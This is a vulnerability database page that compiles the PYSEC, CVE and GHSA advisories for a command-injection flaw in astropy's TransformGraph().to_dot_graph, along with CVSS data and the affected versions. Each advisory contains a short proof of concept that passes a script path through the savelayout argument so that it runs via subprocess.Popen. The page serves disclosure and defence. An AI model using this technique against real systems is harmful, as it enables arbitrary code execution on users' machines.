Vulnerability-Lookup

PYSEC-2026-1199

Vulnerability from pysec - Published: 2026-07-07 11:45 - Updated: 2026-07-07 17:23

Details

Summary

RCE due to improper input validation in TranformGraph().to_dot_graph function

Details

Due to improper input validation a malicious user can provide a command or a script file as a value to savelayout argument, which will be placed as the first value in a list of arguments passed to subprocess.Popen. https://github.com/astropy/astropy/blob/9b97d98802ee4f5350a62b681c35d8687ee81d91/astropy/coordinates/transformations.py#L539 Although an error will be raised, the command or script will be executed successfully.

PoC

$ cat /tmp/script
#!/bin/bash
echo astrorce > /tmp/poc.txt

$ python3
Python 3.9.2 (default, Feb 28 2021, 17:03:44) 
[GCC 10.2.1 20210110] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from astropy.coordinates.transformations import TransformGraph
>>> tg = TransformGraph()
>>> tg.to_dot_graph(savefn="/tmp/1.txt", savelayout="/tmp/script")
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/home/u32i/.local/lib/python3.9/site-packages/astropy/coordinates/transformations.py", line 584, in to_dot_graph
    stdout, stderr = proc.communicate(dotgraph)
  File "/usr/lib/python3.9/subprocess.py", line 1134, in communicate
    stdout, stderr = self._communicate(input, endtime, timeout)
  File "/usr/lib/python3.9/subprocess.py", line 1961, in _communicate
    input_view = memoryview(self._input)
TypeError: memoryview: a bytes-like object is required, not 'str'
>>>

$ cat /tmp/poc.txt
astrorce

Impact

code execution on the user's machine

Severity

8.4 (High)


                  
                    CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Impacted products

Name	purl
astropy	pkg:pypi/astropy

Aliases

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "astropy",
        "purl": "pkg:pypi/astropy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.3.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.1",
        "0.2",
        "0.2.1",
        "0.2.2",
        "0.2.3",
        "0.2.4",
        "0.2.5",
        "0.3",
        "0.3.1",
        "0.3.2",
        "0.4",
        "0.4.1",
        "0.4.2",
        "0.4.3",
        "0.4.4",
        "0.4.5",
        "0.4.6",
        "0.4rc1",
        "0.4rc2",
        "1.0",
        "1.0.1",
        "1.0.10",
        "1.0.11",
        "1.0.12",
        "1.0.13",
        "1.0.2",
        "1.0.3",
        "1.0.4",
        "1.0.5",
        "1.0.6",
        "1.0.7",
        "1.0.8",
        "1.0.9",
        "1.0rc1",
        "1.0rc2",
        "1.1",
        "1.1.1",
        "1.1.2",
        "1.1.post1",
        "1.1.post2",
        "1.1b1",
        "1.1rc1",
        "1.1rc2",
        "1.2",
        "1.2.1",
        "1.2.2",
        "1.2rc1",
        "1.3",
        "1.3.1",
        "1.3.2",
        "1.3.3",
        "1.3rc1",
        "2.0",
        "2.0.1",
        "2.0.10",
        "2.0.11",
        "2.0.12",
        "2.0.13",
        "2.0.14",
        "2.0.15",
        "2.0.16",
        "2.0.2",
        "2.0.3",
        "2.0.4",
        "2.0.5",
        "2.0.6",
        "2.0.7",
        "2.0.8",
        "2.0.9",
        "2.0rc1",
        "3.0",
        "3.0.1",
        "3.0.2",
        "3.0.3",
        "3.0.4",
        "3.0.5",
        "3.0rc1",
        "3.0rc2",
        "3.1",
        "3.1.1",
        "3.1.2",
        "3.1rc1",
        "3.1rc2",
        "3.2",
        "3.2.1",
        "3.2.2",
        "3.2.3",
        "3.2rc1",
        "3.2rc2",
        "4.0",
        "4.0.1",
        "4.0.1.post1",
        "4.0.2",
        "4.0.3",
        "4.0.4",
        "4.0.5",
        "4.0.6",
        "4.0.6.dev27461",
        "4.0rc1",
        "4.0rc2",
        "4.1",
        "4.1rc1",
        "4.1rc2",
        "4.2",
        "4.2.1",
        "4.2rc1",
        "4.3",
        "4.3.1",
        "4.3.post1",
        "4.3rc1",
        "5.0",
        "5.0.1",
        "5.0.2",
        "5.0.3",
        "5.0.4",
        "5.0.5",
        "5.0.6",
        "5.0.7",
        "5.0.8",
        "5.0rc1",
        "5.0rc2",
        "5.1",
        "5.1.1",
        "5.1rc1",
        "5.2",
        "5.2.1",
        "5.2.2",
        "5.2.dev0",
        "5.2rc1",
        "5.3",
        "5.3.1",
        "5.3.2",
        "5.3rc1"
      ]
    }
  ],
  "aliases": [
    "CVE-2023-41334",
    "GHSA-h2x6-5jx5-46hf"
  ],
  "details": "### Summary\nRCE due to improper input validation in TranformGraph().to_dot_graph function\n\n### Details\n\nDue to improper input validation a malicious user can provide a command or a script file as a value to `savelayout` argument, which will be placed as the first value in a list of arguments passed to `subprocess.Popen`. \nhttps://github.com/astropy/astropy/blob/9b97d98802ee4f5350a62b681c35d8687ee81d91/astropy/coordinates/transformations.py#L539\nAlthough an error will be raised, the command or script will be executed successfully.\n\n### PoC\n\n```shell\n$ cat /tmp/script\n#!/bin/bash\necho astrorce \u003e /tmp/poc.txt\n```\n```shell\n$ python3\nPython 3.9.2 (default, Feb 28 2021, 17:03:44) \n[GCC 10.2.1 20210110] on linux\nType \"help\", \"copyright\", \"credits\" or \"license\" for more information.\n\u003e\u003e\u003e from astropy.coordinates.transformations import TransformGraph\n\u003e\u003e\u003e tg = TransformGraph()\n\u003e\u003e\u003e tg.to_dot_graph(savefn=\"/tmp/1.txt\", savelayout=\"/tmp/script\")\nTraceback (most recent call last):\n  File \"\u003cstdin\u003e\", line 1, in \u003cmodule\u003e\n  File \"/home/u32i/.local/lib/python3.9/site-packages/astropy/coordinates/transformations.py\", line 584, in to_dot_graph\n    stdout, stderr = proc.communicate(dotgraph)\n  File \"/usr/lib/python3.9/subprocess.py\", line 1134, in communicate\n    stdout, stderr = self._communicate(input, endtime, timeout)\n  File \"/usr/lib/python3.9/subprocess.py\", line 1961, in _communicate\n    input_view = memoryview(self._input)\nTypeError: memoryview: a bytes-like object is required, not \u0027str\u0027\n\u003e\u003e\u003e \n```\n```shell\n$ cat /tmp/poc.txt\nastrorce\n```\n\n### Impact\ncode execution on the user\u0027s machine\n",
  "id": "PYSEC-2026-1199",
  "modified": "2026-07-07T17:23:47.903653Z",
  "published": "2026-07-07T11:45:35.644849Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/astropy/astropy/security/advisories/GHSA-h2x6-5jx5-46hf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-41334"
    },
    {
      "type": "WEB",
      "url": "https://github.com/astropy/astropy/commit/22057d37b1313f5f5a9b5783df0a091d978dccb5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/astropy/astropy"
    },
    {
      "type": "WEB",
      "url": "https://github.com/astropy/astropy/blob/9b97d98802ee4f5350a62b681c35d8687ee81d91/astropy/coordinates/transformations.py#L539"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/astropy"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-h2x6-5jx5-46hf"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "RCE in TranformGraph().to_dot_graph function"
}

CVE-2023-41334 (GCVE-0-2023-41334)

Vulnerability from cvelistv5 – Published: 2024-03-18 18:48 – Updated: 2024-08-02 19:01

Title

astropy vulnerable to RCE in TranformGraph().to_dot_graph function

Summary

Astropy is a project for astronomy in Python that fosters interoperability between Python astronomy packages. Version 5.3.2 of the Astropy core package is vulnerable to remote code execution due to improper input validation in the `TranformGraph().to_dot_graph` function. A malicious user can provide a command or a script file as a value to the `savelayout` argument, which will be placed as the first value in a list of arguments passed to `subprocess.Popen`. Although an error will be raised, the command or script will be executed successfully. Version 5.3.3 fixes this issue.

Severity

8.4 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2024-08-02 15:20 UTC

CWE

CWE-77 - Improper Neutralization of Special Elements used in a Command ('Command Injection')

Assigner

GitHub_M mitre root

References

3 references

URL	Tags
https://github.com/astropy/astropy/security/advis…	x_refsource_CONFIRM
https://github.com/astropy/astropy/commit/22057d3…	x_refsource_MISC
https://github.com/astropy/astropy/blob/9b97d9880…	x_refsource_MISC

Impacted products

2 products

Vendor	Product	Version
astropy	astropy	Affected: = 5.3.2
astropy_project	astropy	Affected: 5.3.2 cpe:2.3:a:astropy_project:astropy:5.3.2:::::::*

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "affected": [
          {
            "cpes": [
              "cpe:2.3:a:astropy_project:astropy:5.3.2:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "affected",
            "product": "astropy",
            "vendor": "astropy_project",
            "versions": [
              {
                "status": "affected",
                "version": "5.3.2"
              }
            ]
          }
        ],
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2023-41334",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-08-02T15:20:41.705884Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-08-02T15:21:52.587Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T19:01:34.383Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "name": "https://github.com/astropy/astropy/security/advisories/GHSA-h2x6-5jx5-46hf",
            "tags": [
              "x_refsource_CONFIRM",
              "x_transferred"
            ],
            "url": "https://github.com/astropy/astropy/security/advisories/GHSA-h2x6-5jx5-46hf"
          },
          {
            "name": "https://github.com/astropy/astropy/commit/22057d37b1313f5f5a9b5783df0a091d978dccb5",
            "tags": [
              "x_refsource_MISC",
              "x_transferred"
            ],
            "url": "https://github.com/astropy/astropy/commit/22057d37b1313f5f5a9b5783df0a091d978dccb5"
          },
          {
            "name": "https://github.com/astropy/astropy/blob/9b97d98802ee4f5350a62b681c35d8687ee81d91/astropy/coordinates/transformations.py#L539",
            "tags": [
              "x_refsource_MISC",
              "x_transferred"
            ],
            "url": "https://github.com/astropy/astropy/blob/9b97d98802ee4f5350a62b681c35d8687ee81d91/astropy/coordinates/transformations.py#L539"
          }
        ],
        "title": "CVE Program Container"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "astropy",
          "vendor": "astropy",
          "versions": [
            {
              "status": "affected",
              "version": "= 5.3.2"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Astropy is a project for astronomy in Python that fosters interoperability between Python astronomy packages. Version 5.3.2 of the Astropy core package is vulnerable to remote code execution due to improper input validation in the `TranformGraph().to_dot_graph` function. A malicious user can provide a command or a script file as a value to the `savelayout` argument, which will be placed as the first value in a list of arguments passed to `subprocess.Popen`.  Although an error will be raised, the command or script will be executed successfully. Version 5.3.3 fixes this issue."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "LOCAL",
            "availabilityImpact": "HIGH",
            "baseScore": 8.4,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-77",
              "description": "CWE-77: Improper Neutralization of Special Elements used in a Command (\u0027Command Injection\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2024-03-18T18:48:14.795Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/astropy/astropy/security/advisories/GHSA-h2x6-5jx5-46hf",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/astropy/astropy/security/advisories/GHSA-h2x6-5jx5-46hf"
        },
        {
          "name": "https://github.com/astropy/astropy/commit/22057d37b1313f5f5a9b5783df0a091d978dccb5",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/astropy/astropy/commit/22057d37b1313f5f5a9b5783df0a091d978dccb5"
        },
        {
          "name": "https://github.com/astropy/astropy/blob/9b97d98802ee4f5350a62b681c35d8687ee81d91/astropy/coordinates/transformations.py#L539",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/astropy/astropy/blob/9b97d98802ee4f5350a62b681c35d8687ee81d91/astropy/coordinates/transformations.py#L539"
        }
      ],
      "source": {
        "advisory": "GHSA-h2x6-5jx5-46hf",
        "discovery": "UNKNOWN"
      },
      "title": "astropy vulnerable to RCE in TranformGraph().to_dot_graph function"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2023-41334",
    "datePublished": "2024-03-18T18:48:14.795Z",
    "dateReserved": "2023-08-28T16:56:43.367Z",
    "dateUpdated": "2024-08-02T19:01:34.383Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

GHSA-H2X6-5JX5-46HF

Vulnerability from github – Published: 2024-03-18 20:26 – Updated: 2024-03-18 21:46

Summary

RCE in TranformGraph().to_dot_graph function

Details

Summary

RCE due to improper input validation in TranformGraph().to_dot_graph function

Details

PoC

$ cat /tmp/script
#!/bin/bash
echo astrorce > /tmp/poc.txt

$ python3
Python 3.9.2 (default, Feb 28 2021, 17:03:44) 
[GCC 10.2.1 20210110] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from astropy.coordinates.transformations import TransformGraph
>>> tg = TransformGraph()
>>> tg.to_dot_graph(savefn="/tmp/1.txt", savelayout="/tmp/script")
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/home/u32i/.local/lib/python3.9/site-packages/astropy/coordinates/transformations.py", line 584, in to_dot_graph
    stdout, stderr = proc.communicate(dotgraph)
  File "/usr/lib/python3.9/subprocess.py", line 1134, in communicate
    stdout, stderr = self._communicate(input, endtime, timeout)
  File "/usr/lib/python3.9/subprocess.py", line 1961, in _communicate
    input_view = memoryview(self._input)
TypeError: memoryview: a bytes-like object is required, not 'str'
>>>

$ cat /tmp/poc.txt
astrorce

Impact

code execution on the user's machine

Severity

8.4 (High)


                  
                    CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "astropy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.3.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-41334"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-74",
      "CWE-77"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-03-18T20:26:33Z",
    "nvd_published_at": "2024-03-18T19:15:05Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nRCE due to improper input validation in TranformGraph().to_dot_graph function\n\n### Details\n\nDue to improper input validation a malicious user can provide a command or a script file as a value to `savelayout` argument, which will be placed as the first value in a list of arguments passed to `subprocess.Popen`. \nhttps://github.com/astropy/astropy/blob/9b97d98802ee4f5350a62b681c35d8687ee81d91/astropy/coordinates/transformations.py#L539\nAlthough an error will be raised, the command or script will be executed successfully.\n\n### PoC\n\n```shell\n$ cat /tmp/script\n#!/bin/bash\necho astrorce \u003e /tmp/poc.txt\n```\n```shell\n$ python3\nPython 3.9.2 (default, Feb 28 2021, 17:03:44) \n[GCC 10.2.1 20210110] on linux\nType \"help\", \"copyright\", \"credits\" or \"license\" for more information.\n\u003e\u003e\u003e from astropy.coordinates.transformations import TransformGraph\n\u003e\u003e\u003e tg = TransformGraph()\n\u003e\u003e\u003e tg.to_dot_graph(savefn=\"/tmp/1.txt\", savelayout=\"/tmp/script\")\nTraceback (most recent call last):\n  File \"\u003cstdin\u003e\", line 1, in \u003cmodule\u003e\n  File \"/home/u32i/.local/lib/python3.9/site-packages/astropy/coordinates/transformations.py\", line 584, in to_dot_graph\n    stdout, stderr = proc.communicate(dotgraph)\n  File \"/usr/lib/python3.9/subprocess.py\", line 1134, in communicate\n    stdout, stderr = self._communicate(input, endtime, timeout)\n  File \"/usr/lib/python3.9/subprocess.py\", line 1961, in _communicate\n    input_view = memoryview(self._input)\nTypeError: memoryview: a bytes-like object is required, not \u0027str\u0027\n\u003e\u003e\u003e \n```\n```shell\n$ cat /tmp/poc.txt\nastrorce\n```\n\n### Impact\ncode execution on the user\u0027s machine\n",
  "id": "GHSA-h2x6-5jx5-46hf",
  "modified": "2024-03-18T21:46:18Z",
  "published": "2024-03-18T20:26:33Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/astropy/astropy/security/advisories/GHSA-h2x6-5jx5-46hf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-41334"
    },
    {
      "type": "WEB",
      "url": "https://github.com/astropy/astropy/commit/22057d37b1313f5f5a9b5783df0a091d978dccb5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/astropy/astropy"
    },
    {
      "type": "WEB",
      "url": "https://github.com/astropy/astropy/blob/9b97d98802ee4f5350a62b681c35d8687ee81d91/astropy/coordinates/transformations.py#L539"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "RCE in TranformGraph().to_dot_graph function"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

PYSEC-2026-1199

Summary

Details

PoC

Impact

CVE-2023-41334 (GCVE-0-2023-41334)

GHSA-H2X6-5JX5-46HF

Summary

Details

PoC

Impact

Tags

Sightings

Nomenclature

Related by attack behaviour